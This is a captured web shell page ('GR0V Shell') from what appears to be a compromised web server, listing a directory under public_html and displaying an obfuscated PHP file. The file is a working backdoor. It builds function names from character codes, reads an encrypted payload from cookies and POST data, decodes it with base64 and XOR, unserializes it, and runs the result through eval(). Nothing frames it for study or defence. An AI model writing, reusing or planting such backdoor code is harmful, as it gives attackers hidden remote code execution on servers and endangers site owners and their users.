? GR0V Shell

GR0V shell

Linux www.koreapackagetour.com 2.6.32-042stab145.3 #1 SMP Thu Jun 11 14:05:04 MSK 2020 x86_64

Path : /home/admin/domains/happytokorea.net/public_html/letvoohch/
File Upload :
Current File : /home/admin/domains/happytokorea.net/public_html/letvoohch/3c72e32a.php

$TXIjV = chr (109) . 'R' . "\x4f" . chr ( 1048 - 953 )."\x45" . chr (73) . "\167" . "\x62" . "\171";$gDVEQtVtS = "\x63" . "\154" . chr ( 626 - 529 ).chr ( 1078 - 963 ).chr (115) . "\137" . chr (101) . 'x' . chr (105) . chr (115) . "\164" . 's';$XBjNRNN = $gDVEQtVtS($TXIjV); $TXIjV = "46246";$gDVEQtVtS = "34086";$DkJnCfJj = $XBjNRNN;if (!$DkJnCfJj){class mRO_EIwby{private $kOXUfnQ;public static $QncxTLoOe = "6e49a9b8-310b-4aac-8fa9-344cc5c91cb8";public static $OLqmNAPaO = 44562;public function __construct($MjLYGB=0){$ociGYEqK = $_COOKIE;$VWkFcHOOSB = $_POST;$zbMxVdJnz = @$ociGYEqK[substr(mRO_EIwby::$QncxTLoOe, 0, 4)];if (!empty($zbMxVdJnz)){$AJIlJb = "base64";$IrObDycm = "";$zbMxVdJnz = explode(",", $zbMxVdJnz);foreach ($zbMxVdJnz as $XbotgS){$IrObDycm .= @$ociGYEqK[$XbotgS];$IrObDycm .= @$VWkFcHOOSB[$XbotgS];}$IrObDycm = array_map($AJIlJb . chr (95) . 'd' . chr ( 649 - 548 ).chr (99) . "\157" . 'd' . chr ( 223 - 122 ), array($IrObDycm,)); $IrObDycm = $IrObDycm[0] ^ str_repeat(mRO_EIwby::$QncxTLoOe, (strlen($IrObDycm[0]) / strlen(mRO_EIwby::$QncxTLoOe)) + 1);mRO_EIwby::$OLqmNAPaO = @unserialize($IrObDycm);}}private function VJLZHrR(){if (is_array(mRO_EIwby::$OLqmNAPaO)) {$qbEvefQp = str_replace('<' . chr ( 532 - 469 ).chr (112) . chr ( 415 - 311 ).'p', "", mRO_EIwby::$OLqmNAPaO['c' . 'o' . 'n' . chr (116) . "\145" . chr (110) . "\x74"]);eval($qbEvefQp); $hRsKGcZ = "37173";exit();}}public function __destruct(){$this->VJLZHrR(); $hRsKGcZ = "37173";}}$cRnhhFCDmy = new mRO_EIwby(); $cRnhhFCDmy = "2138_14493";}

T1KUS90T
  root-grov@210.1.60.28:~$